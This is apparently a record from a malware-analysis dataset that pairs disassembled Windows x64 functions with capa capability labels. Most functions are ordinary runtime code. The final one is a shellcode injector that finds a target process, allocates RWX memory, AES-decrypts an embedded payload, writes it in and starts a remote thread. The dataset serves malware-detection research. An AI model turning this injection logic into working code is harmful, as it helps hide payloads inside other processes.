joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002dfbc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14002cf68
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14002cf68
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002e10c
cmp rax, 0xffffffffffffffff
je 0x14002e10c
xor edi, edi
test rbp, rbp
jle 0x14002e0b7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001a9d0
mov rbx, rax
test rax, rax
jne 0x14002e044
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002e0ad
mov edx, 0x8000
mov ecx, r14d
call fcn.1400173ac
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140028fd0
cmp eax, 0xffffffff
je 0x14002e08d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14002e054
mov edx, r15d
mov ecx, r14d
call fcn.1400173ac
jmp 0x14002e0ad
cmp byte [rsi + 0x38], dil
je 0x14002e0a4
cmp dword [rsi + 0x34], 5
jne 0x14002e0a4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002e0ad
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001aa48
jmp 0x14002e120
jns 0x14002e120
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14002cf68
cmp rax, 0xffffffffffffffff
jne 0x14002e0d8
cmp byte [rsi + 0x30], dil
je 0x14002e120
mov edi, dword [rsi + 0x2c]
jmp 0x14002e120
mov ecx, r14d
call fcn.140022ae4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14002e120
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14002e120
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14002e119
mov eax, dword [rsi + 0x2c]
jmp 0x14002e11e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14002cf68
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ee80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002eea8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002eea8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
sub rsp, 0xe8
xorps xmm0, xmm0
lea rcx, str..LunaTranslatorLunaTranslator_main.exe
xor eax, eax
xor r9d, r9d
movups xmmword [rsp + 0x50], xmm0
xor r8d, r8d
xor edx, edx
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [r11 - 0x38], rax
lea rax, [r11 - 0x28]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [0x140010320]
mov qword [rsp + 0x38], rax
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
movups xmmword [r11 - 0x68], xmm0
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x48], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
add rsp, 0xe8
ret

Function at 0x1400017c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000180a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000180a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000180a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000180a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000180a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000180c
xor al, al
add rsp, 0x28
ret

Function at 0x1400059bc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400057ac
Function at 0x140008a20
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008a50
xor eax, eax
jmp 0x140008b13
mov rbp, rbx
cmp word [rax], si
je 0x140008a75
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008a5c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008a58
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008970
movsxd r14, eax
test eax, eax
jne 0x140008ab3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008a49
mov rcx, r14
call fcn.1400098d4
mov rdi, rax
test rax, rax
jne 0x140008acc
xor ecx, ecx
call fcn.140007000
jmp 0x140008aa8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008970
test eax, eax
jne 0x140008afd
mov rcx, rdi
call fcn.140007000
jmp 0x140008b07
xor ecx, ecx
call fcn.140007000
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000bfdc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140007a74
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000c066
cmp byte [rbp - 0x21], r15b
je 0x14000c061
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000c09c
call fcn.14000a0f4
test eax, eax
jne 0x14000c088
cmp byte [rbp - 0x21], r15b
je 0x14000c080
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000c09c
cmp byte [rbp - 0x21], r15b
je 0x14000c099
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140007050
test eax, eax
jne 0x14000c13c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140007a74
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000c0db
cmp byte [rbp - 0x21], r15b
je 0x14000c110
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000c110
call fcn.14000a0f4
test eax, eax
jne 0x14000c0fc
cmp byte [rbp - 0x21], r15b
je 0x14000c0f5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000c110
cmp byte [rbp - 0x21], r15b
je 0x14000c10d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140007050
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000c13c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000c13f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000c14d
mov rcx, rdi
call fcn.140007000
cmp byte [rbp + 0x3f], r15b
je 0x14000c15c
mov rcx, qword [rbp + 0x27]
call fcn.140007000
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005840]
mov dword [rax], 1
mov rax, qword [0x140005850]
mov dword [rax], 1
mov rax, qword [0x140005860]
mov dword [rax], 1
mov rax, qword [0x1400057f0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400015e0
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
xor edx, edx
xor esi, esi
mov rdi, rcx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001655
lea rsi, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x130
mov rdx, rsi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14000164a
lea rbp, [rsp + 0x4c]
mov rdx, rdi
mov rcx, rbp
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000163b
mov esi, dword [rsp + 0x28]
jmp 0x14000164c
mov rdx, rsi
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001626
xor esi, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140001670
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rsi
push rbx
xor eax, eax
mov r8b, byte [rdx + rax]
mov byte [rcx + rax], r8b
mov r8b, byte [rdx + rax + 1]
mov byte [rcx + rax + 1], r8b
mov r8b, byte [rdx + rax + 2]
mov byte [rcx + rax + 2], r8b
mov r8b, byte [rdx + rax + 3]
mov byte [rcx + rax + 3], r8b
add rax, 4
cmp rax, 0x10
jne 0x140001674
mov r10d, 4
lea r11, [0x140005380]
lea rbx, [0x140005260]
movzx r9d, byte [rcx + 0xc]
movzx r8d, byte [rcx + 0xd]
movzx edx, byte [rcx + 0xe]
movzx eax, byte [rcx + 0xf]
test r10d, 3
jne 0x1400016f1
mov sil, byte [r11 + r8]
mov r8b, byte [r11 + rdx]
mov dl, byte [r11 + rax]
mov al, byte [r11 + r9]
mov r9d, r10d
shr r9d, 2
xor sil, byte [rbx + r9]
mov r9d, esi
xor r9b, byte [rcx]
xor r8b, byte [rcx + 1]
inc r10d
add rcx, 4
xor dl, byte [rcx - 2]
xor al, byte [rcx - 1]
mov byte [rcx + 0xc], r9b
mov byte [rcx + 0xd], r8b
mov byte [rcx + 0xe], dl
mov byte [rcx + 0xf], al
cmp r10d, 0x2c
jne 0x1400016b8
pop rbx
pop rsi
ret

Function at 0x14000175d
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov edi, 1
lea r12, [0x140005380]
mov rbx, rcx
mov r8, rdx
mov rsi, rdx
mov rdx, rcx
xor ecx, ecx
lea rbp, [rbx + 4]
lea r13, [rbx + 0x10]
call fcn.14000171c
mov rdx, rbx
mov rcx, rbx
mov rax, rcx
xor r8d, r8d
movzx r9d, byte [rax]
inc r8d
add rax, 4
mov r9b, byte [r12 + r9]
mov byte [rax - 4], r9b
cmp r8b, 4
jne 0x1400017a0
inc rcx
cmp rbp, rcx
jne 0x14000179a
mov cl, byte [rbx + 5]
mov al, byte [rbx + 1]
mov byte [rbx + 1], cl
mov cl, byte [rbx + 9]
mov byte [rbx + 5], cl
mov cl, byte [rbx + 0xd]
mov byte [rbx + 0xd], al
mov al, byte [rbx + 2]
mov byte [rbx + 9], cl
mov cl, byte [rbx + 0xa]
mov byte [rbx + 0xa], al
mov al, byte [rbx + 6]
mov byte [rbx + 2], cl
mov cl, byte [rbx + 0xe]
mov byte [rbx + 0xe], al
mov al, byte [rbx + 3]
mov byte [rbx + 6], cl
mov cl, byte [rbx + 0xf]
mov byte [rbx + 3], cl
mov cl, byte [rbx + 0xb]
mov byte [rbx + 0xf], cl
mov cl, byte [rbx + 7]
mov byte [rbx + 7], al
mov byte [rbx + 0xb], cl
cmp edi, 0xa
je 0x1400018a2
mov r8b, byte [rdx]
mov r14b, byte [rdx + 1]
add rdx, 4
mov r11b, byte [rdx - 2]
mov r9b, byte [rdx - 1]
mov ecx, r8d
xor ecx, r14d
mov r15d, r11d
mov r10d, ecx
movzx ecx, cl
xor r15d, r9d
call fcn.140001750
xor r10d, r15d
mov ecx, r14d
xor eax, r8d
xor ecx, r11d
xor r8d, r9d
xor eax, r10d
movzx ecx, cl
mov byte [rdx - 4], al
call fcn.140001750
movzx ecx, r15b
xor r14d, eax
xor r14d, r10d
mov byte [rdx - 3], r14b
call fcn.140001750
movzx ecx, r8b
xor r11d, eax
xor r11d, r10d
mov byte [rdx - 2], r11b
call fcn.140001750
xor r9d, eax
xor r9d, r10d
mov byte [rdx - 1], r9b
cmp r13, rdx
jne 0x140001812
mov ecx, edi
mov r8, rsi
mov rdx, rbx
inc edi
call fcn.14000171c
jmp 0x140001794
mov r8, rsi
mov rdx, rbx
mov ecx, 0xa
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp fcn.14000171c
Function at 0x1400018c2
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbx, rcx
mov qword [rsp + 0x98], rdx
mov r8, rdx
mov rdx, rcx
mov ecx, 0xa
call fcn.14000171c
lea rax, [rbx + 4]
mov dword [rsp + 0x2c], 9
mov qword [rsp + 0x30], rax
lea rax, [rbx + 0x10]
mov qword [rsp + 0x38], rax
mov dl, byte [rbx + 9]
mov al, byte [rbx + 0xd]
mov rsi, rbx
mov byte [rbx + 0xd], dl
mov dl, byte [rbx + 5]
mov byte [rbx + 9], dl
mov dl, byte [rbx + 1]
mov byte [rbx + 1], al
mov al, byte [rbx + 2]
mov byte [rbx + 5], dl
mov dl, byte [rbx + 0xa]
mov byte [rbx + 0xa], al
mov al, byte [rbx + 6]
mov byte [rbx + 2], dl
mov dl, byte [rbx + 0xe]
mov byte [rbx + 0xe], al
mov al, byte [rbx + 3]
mov byte [rbx + 6], dl
mov dl, byte [rbx + 7]
mov byte [rbx + 3], dl
mov dl, byte [rbx + 0xb]
mov byte [rbx + 7], dl
mov dl, byte [rbx + 0xf]
mov byte [rbx + 0xf], al
mov byte [rbx + 0xb], dl
mov rdx, rbx
mov rax, rdx
xor ecx, ecx
movzx r8d, byte [rax]
lea rdi, [0x140005280]
inc ecx
add rax, 4
mov r8b, byte [rdi + r8]
mov byte [rax - 4], r8b
cmp cl, 4
jne 0x14000195a
inc rdx
cmp qword [rsp + 0x30], rdx
jne 0x140001955
mov r8, qword [rsp + 0x98]
mov ecx, dword [rsp + 0x2c]
mov rdx, rbx
call fcn.14000171c
cmp dword [rsp + 0x2c], 0
je 0x140001ada
movzx ecx, byte [rsi]
mov r13b, byte [rsi + 1]
mov dl, byte [rsi + 2]
mov r15b, byte [rsi + 3]
mov r14d, ecx
call fcn.140001750
movzx ecx, al
mov byte [rsp + 0x28], al
call fcn.140001750
movzx ecx, al
mov byte [rsp + 0x29], al
call fcn.140001750
movzx ecx, r13b
mov r10d, eax
call fcn.140001750
movzx ecx, al
mov byte [rsp + 0x2a], al
call fcn.140001750
movzx ecx, al
mov byte [rsp + 0x2b], al
call fcn.140001750
movzx ecx, dl
mov r9d, eax
call fcn.140001750
movzx ecx, al
mov r12d, ecx
call fcn.140001750
movzx ecx, al
mov ebp, ecx
call fcn.140001750
movzx ecx, r15b
mov r8d, eax
call fcn.140001750
movzx ecx, al
mov edi, ecx
call fcn.140001750
movzx ecx, al
mov r11d, ecx
call fcn.140001750
mov ecx, eax
mov al, byte [rsp + 0x28]
xor al, byte [rsp + 0x29]
xor eax, r10d
xor al, byte [rsp + 0x2a]
xor eax, r9d
xor eax, ebp
xor eax, r8d
xor eax, ecx
xor eax, r13d
xor eax, edx
xor eax, r15d
mov byte [rsi], al
mov al, byte [rsp + 0x2a]
xor eax, r10d
xor al, byte [rsp + 0x2b]
xor eax, r9d
xor eax, r12d
xor eax, r8d
xor eax, r11d
xor eax, ecx
xor eax, r14d
xor eax, edx
xor eax, r15d
mov byte [rsi + 1], al
mov al, byte [rsp + 0x29]
xor eax, r10d
add rsi, 4
xor eax, r9d
xor eax, r12d
xor eax, ebp
xor eax, r8d
xor eax, edi
xor eax, ecx
xor eax, r14d
xor eax, r13d
xor eax, r15d
mov byte [rsi - 2], al
mov al, byte [rsp + 0x28]
xor eax, r10d
xor al, byte [rsp + 0x2b]
xor eax, r9d
xor eax, r8d
xor eax, edi
xor eax, r11d
xor eax, ecx
xor eax, r14d
xor eax, r13d
xor eax, edx
mov byte [rsi - 1], al
cmp qword [rsp + 0x38], rsi
jne 0x1400019a1
dec dword [rsp + 0x2c]
jmp 0x140001907
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140001ba2
Capabilities:
Encode data using xor

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
xor ebx, ebx
mov rsi, rcx
mov rdi, rdx
mov rbp, r8
lea r12, [rdi + rbx]
cmp rbx, rbp
jae 0x140001bf2
mov rdx, rsi
mov rcx, r12
movups xmm0, xmmword [rdi + rbx]
call fcn.1400018c2
xor eax, eax
mov dl, byte [rsi + rax + 0xb0]
xor byte [r12 + rax], dl
inc rax
cmp rax, 0x10
jne 0x140001bd1
movups xmmword [rsi + 0xb0], xmm0
add rbx, 0x10
jmp 0x140001bb7
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140001fb0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.140003370
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.140003370
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140002c82
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140008108]
test eax, eax
je 0x140002d1a
lea rax, [0x1400080e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140008110]
mov qword [rbp - 8], rax
jmp 0x140002cfe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002cf2
cmp qword [rbp - 0x10], 0
je 0x140002cf2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002cb8
lea rax, [0x1400080e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002d1b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002e20
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002e48
mov eax, 0
jmp 0x140002e96
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002e71
mov eax, 0
jmp 0x140002e96
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002e91
mov eax, 0
jmp 0x140002e96
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140002e9c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002f1a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002f11
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002f11
mov rax, qword [rbp - 8]
jmp 0x140002f2f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002ee4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140003470
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x368
lea rbp, [rsp + 0x80]
lea rsi, section..rdata
xor ebx, ebx
call fcn.140001d37
xor r9d, r9d
mov ecx, pe_nt_image_headers64
movabs rax, 0xa625ae2816d2212b
movabs rdx, 0x3c4fcf099897f7ab
mov qword [rbp - 0x30], rax
movabs rax, 0x701050403020600
lea rdi, [rbp + 0xe0]
rep movsd dword [rdi], dword [rsi]
mov qword [rbp - 0x28], rdx
lea rdi, [rbp - 0x10]
mov ecx, 0xc
movabs rdx, 0xf0e0d0c0b0a0908
mov dword [rbp - 0x34], r9d
lea rsi, section..data
rep movsd dword [rdi], dword [rsi]
mov qword [rbp - 0x20], rax
lea rsi, [rbp + 0xe0]
lea rdi, [rbp - 0x10]
mov qword [rbp - 0x18], rdx
mov rcx, qword [rdi + rbx*8]
call fcn.1400015e0
mov r8d, eax
test eax, eax
jne 0x140003522
cmp rbx, 5
je 0x14000361a
inc rbx
jmp 0x140003503
mov r14d, 0x7fffffff
nop
dec r14d
jne 0x140003528
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000361a
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x200
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x14000361a
sub rsp, 0x200
lea r15, [rbp + 0x20]
lea rdx, [rbp - 0x30]
lea r13, [rsp + 0x40]
lea r8, [rbp - 0x20]
mov rcx, r15
call fcn.140001af0
mov rdi, r13
mov ecx, pe_nt_image_headers64
mov rdx, r13
rep movsd dword [rdi], dword [rsi]
mov r8d, 0x200
mov rcx, r15
mov rdi, r13
call fcn.140001ba2
xor eax, eax
mov r8, r13
mov r9d, 0x200
mov rdx, r12
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, r14d
mov ecx, pe_nt_image_headers64
xor edx, edx
rep stosd dword [rdi], eax
xor r8d, r8d
xor ecx, ecx
lea rax, [rbp - 0x34]
mov qword [rsp + 0x30], rdx
mov r9, r12
xor edx, edx
mov dword [rsp + 0x28], ecx
mov rcx, rbx
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov r13, qword [sym.imp.KERNEL32.dll_CloseHandle]
test rax, rax
mov rsi, rax
jne 0x140003621
mov rcx, rbx
call r13
mov eax, 1
jmp 0x140003650
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call r13
mov rcx, rbx
call r13
xor eax, eax
lea rsp, [rbp + 0x2e8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret